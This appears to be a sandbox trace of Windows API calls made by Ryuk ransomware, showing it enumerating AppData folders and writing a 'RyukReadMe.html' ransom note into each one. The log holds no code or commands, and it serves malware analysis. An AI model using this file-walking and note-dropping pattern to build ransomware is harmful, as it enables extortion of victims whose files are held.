	[0262.854] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Burn\\Burn2\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\burn\\burn2\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x748
	[0262.854] GetLastError () returned 0x0
	[0262.854] WriteFile (in: hFile=0x748, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18c568*=0x273, lpOverlapped=0x0) returned 1
	[0262.856] CloseHandle (hObject=0x748) returned 1
	[0262.857] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x926116d0, ftCreationTime.dwHighDateTime=0x1d30596, ftLastAccessTime.dwLowDateTime=0x92637830, ftLastAccessTime.dwHighDateTime=0x1d30596, ftLastWriteTime.dwLowDateTime=0x92637830, ftLastWriteTime.dwHighDateTime=0x1d30596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="Burn2", cAlternateFileName="")) returned 0
	[0262.857] FindClose (in: hFindFile=0x3ef970 | out: hFindFile=0x3ef970) returned 1
	[0262.857] SetLastError (dwErrCode=0x0) 
	[0262.857] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Burn\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\burn\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74c
	[0262.857] GetLastError () returned 0xb7
	[0262.857] CloseHandle (hObject=0x74c) returned 1
	[0262.858] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x13d55540, ftLastAccessTime.dwHighDateTime=0x1d3b051, ftLastWriteTime.dwLowDateTime=0x13d55540, ftLastWriteTime.dwHighDateTime=0x1d3b051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="Caches", cAlternateFileName="")) returned 1
	[0262.858] SetLastError (dwErrCode=0x0) 
	[0262.858] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74c
	[0262.858] GetLastError () returned 0xb7
	[0262.858] CloseHandle (hObject=0x74c) returned 1
	[0262.858] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x13d55540, ftLastAccessTime.dwHighDateTime=0x1d3b051, ftLastWriteTime.dwLowDateTime=0x13d55540, ftLastWriteTime.dwHighDateTime=0x1d3b051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef970
	[0262.858] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x13d55540, ftLastAccessTime.dwHighDateTime=0x1d3b051, ftLastWriteTime.dwLowDateTime=0x13d55540, ftLastWriteTime.dwHighDateTime=0x1d3b051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0262.858] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaa1c6ab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xaa1c6ab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaa1c6ab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="cversions.1.db", cAlternateFileName="CVERSI~1.DB")) returned 1
	[0262.859] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x408bd0, ftCreationTime.dwHighDateTime=0x1d3b051, ftLastAccessTime.dwLowDateTime=0x408bd0, ftLastAccessTime.dwHighDateTime=0x1d3b051, ftLastWriteTime.dwLowDateTime=0x408bd0, ftLastWriteTime.dwHighDateTime=0x1d3b051, nFileSizeHigh=0x0, nFileSizeLow=0x18388, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000015.db", cAlternateFileName="{AFBF9~3.DB")) returned 1
	[0262.859] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13d2f3e0, ftCreationTime.dwHighDateTime=0x1d3b051, ftLastAccessTime.dwLowDateTime=0x13d2f3e0, ftLastAccessTime.dwHighDateTime=0x1d3b051, ftLastWriteTime.dwLowDateTime=0x13d2f3e0, ftLastWriteTime.dwHighDateTime=0x1d3b051, nFileSizeHigh=0x0, nFileSizeLow=0x1ea08, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000016.db", cAlternateFileName="{AFBF9~1.DB")) returned 1
	[0262.859] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13d2f3e0, ftCreationTime.dwHighDateTime=0x1d3b051, ftLastAccessTime.dwLowDateTime=0x13d2f3e0, ftLastAccessTime.dwHighDateTime=0x1d3b051, ftLastWriteTime.dwLowDateTime=0x13d2f3e0, ftLastWriteTime.dwHighDateTime=0x1d3b051, nFileSizeHigh=0x0, nFileSizeLow=0x1ea08, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000016.db", cAlternateFileName="{AFBF9~1.DB")) returned 0
	[0262.859] FindClose (in: hFindFile=0x3ef970 | out: hFindFile=0x3ef970) returned 1
	[0262.859] SetLastError (dwErrCode=0x0) 
	[0262.859] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Caches\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\caches\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74c
	[0262.860] GetLastError () returned 0x0
	[0262.860] WriteFile (in: hFile=0x74c, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18cc98*=0x273, lpOverlapped=0x0) returned 1
	[0262.862] CloseHandle (hObject=0x74c) returned 1
	[0262.862] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x33af74c0, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x33af74c0, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="Explorer", cAlternateFileName="")) returned 1
	[0262.863] SetLastError (dwErrCode=0x0) 
	[0262.863] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74c
	[0262.863] GetLastError () returned 0xb7
	[0262.863] CloseHandle (hObject=0x74c) returned 1
	[0262.863] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x33af74c0, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x33af74c0, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef970
	[0262.863] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x33af74c0, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x33af74c0, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0262.863] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28ec86c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ec86c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x30db3250, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="ExplorerStartupLog.etl", cAlternateFileName="EXPLOR~2.ETL")) returned 1
	[0262.863] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28ec86c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ec86c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x54aad4c0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="ExplorerStartupLog_RunOnce.etl", cAlternateFileName="EXPLOR~1.ETL")) returned 1
	[0262.864] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33af74c0, ftCreationTime.dwHighDateTime=0x1d4d57d, ftLastAccessTime.dwLowDateTime=0x33af74c0, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x33af74c0, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="thumbcache_1024.db", cAlternateFileName="TH78CB~1.DB")) returned 1
	[0262.864] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33af74c0, ftCreationTime.dwHighDateTime=0x1d4d57d, ftLastAccessTime.dwLowDateTime=0x33af74c0, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x33af74c0, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="thumbcache_256.db", cAlternateFileName="THUMBC~4.DB")) returned 1
	[0262.864] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33ad1360, ftCreationTime.dwHighDateTime=0x1d4d57d, ftLastAccessTime.dwLowDateTime=0x33ad1360, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x33ad1360, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="thumbcache_32.db", cAlternateFileName="THUMBC~2.DB")) returned 1
	[0262.864] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33ad1360, ftCreationTime.dwHighDateTime=0x1d4d57d, ftLastAccessTime.dwLowDateTime=0x33ad1360, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x33ad1360, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="thumbcache_96.db", cAlternateFileName="THUMBC~3.DB")) returned 1
	[0262.864] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33ad1360, ftCreationTime.dwHighDateTime=0x1d4d57d, ftLastAccessTime.dwLowDateTime=0x33ad1360, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x33ad1360, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0xcb8, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="thumbcache_idx.db", cAlternateFileName="THUMBC~1.DB")) returned 1
	[0262.864] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33af74c0, ftCreationTime.dwHighDateTime=0x1d4d57d, ftLastAccessTime.dwLowDateTime=0x33af74c0, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x33af74c0, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="thumbcache_sr.db", cAlternateFileName="TH0F82~1.DB")) returned 1
	[0262.864] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33af74c0, ftCreationTime.dwHighDateTime=0x1d4d57d, ftLastAccessTime.dwLowDateTime=0x33af74c0, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x33af74c0, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="thumbcache_sr.db", cAlternateFileName="TH0F82~1.DB")) returned 0
	[0262.864] FindClose (in: hFindFile=0x3ef970 | out: hFindFile=0x3ef970) returned 1
	[0262.864] SetLastError (dwErrCode=0x0) 
	[0262.864] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74c
	[0262.865] GetLastError () returned 0x0
	[0262.865] WriteFile (in: hFile=0x74c, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18cc98*=0x273, lpOverlapped=0x0) returned 1
	[0262.867] CloseHandle (hObject=0x74c) returned 1
	[0262.867] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaef3b9d6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="GameExplorer", cAlternateFileName="GAMEEX~1")) returned 1
	[0262.867] SetLastError (dwErrCode=0x0) 
	[0262.867] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74c
	[0262.867] GetLastError () returned 0xb7
	[0262.868] CloseHandle (hObject=0x74c) returned 1
	[0262.868] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\GameExplorer\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaef3b9d6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef970
	[0262.868] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaef3b9d6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0262.869] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaef3b9d6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0262.869] FindClose (in: hFindFile=0x3ef970 | out: hFindFile=0x3ef970) returned 1
	[0262.869] SetLastError (dwErrCode=0x0) 
	[0262.869] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\GameExplorer\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\gameexplorer\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0262.869] GetLastError () returned 0x3
	[0262.869] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0262.869] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0262.869] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x7766d760, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7766d760, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1
	[0262.869] SetLastError (dwErrCode=0x0) 
	[0262.869] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74c
	[0262.869] GetLastError () returned 0xb7
	[0262.869] CloseHandle (hObject=0x74c) returned 1
	[0262.870] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\History\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x7766d760, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7766d760, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef970
	[0262.870] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x7766d760, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7766d760, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0262.870] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0262.870] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x7b3def40, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7b3def40, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="History.IE5", cAlternateFileName="")) returned 1
	[0262.870] SetLastError (dwErrCode=0x0) 
	[0262.870] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\History\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\history\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x748
	[0262.870] GetLastError () returned 0xb7
	[0262.870] CloseHandle (hObject=0x748) returned 1
